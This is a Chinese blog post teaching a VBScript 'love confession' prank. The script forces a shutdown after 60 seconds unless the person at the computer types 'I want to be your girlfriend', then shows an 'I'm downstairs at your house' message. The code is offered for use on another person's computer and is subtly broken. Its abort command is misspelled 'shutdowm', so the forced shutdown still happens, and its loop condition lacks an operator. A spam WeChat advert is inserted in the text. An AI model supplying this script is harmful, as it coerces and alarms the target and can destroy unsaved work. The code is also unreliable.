大家好！我是鲜聊！聊不新鲜的！
今天我们来聊聊代码！
最近抖音上表白代码火了起来
看到别人用代码撩自己喜欢的小姐姐是不是心痒难耐
是不是也想撩一撩自己喜欢的小姐姐
别急，这就来教你怎么写这样的小程序
都醒醒！醒醒哈！上课了！
下面是程序：
代码如下：
Option Explicit
On Error Resume Next
Dim answer
Dim WshShell
set WshShell = CreateObject("wscript.Shell")
WshShell.Run"shutdown /f /s /t 60 /c输入‘我要做你女朋友’，否则60秒后关机~",0
do while answer"我要做你女朋友"
answer=inputbox("输入‘我要做你女朋友‘，不然我可是不会走的哦，哈哈~~")
loop
wshshell.run"shutdowm /a",0
msgbox"我就在你家楼下，哈哈哈",,"我喜欢你"
这里面的中文是可以随意改的（小兔情感挽回老师 微信：ke2004578），你也可以改成你自己想说的话
效果如下：
如果ta不输入你指定的话，那么ta是关不掉的
这是一个简单的小程序抖音表白技巧，可以拿来撩一撩你喜欢的妹纸
当然，简单的小程序自然漏洞百出，一个任务管理器就可以关掉它
本站尊重版权，转载目的在于传递更多信息，若内容侵犯您的权益，请及时联系我们，本站将及时处理。
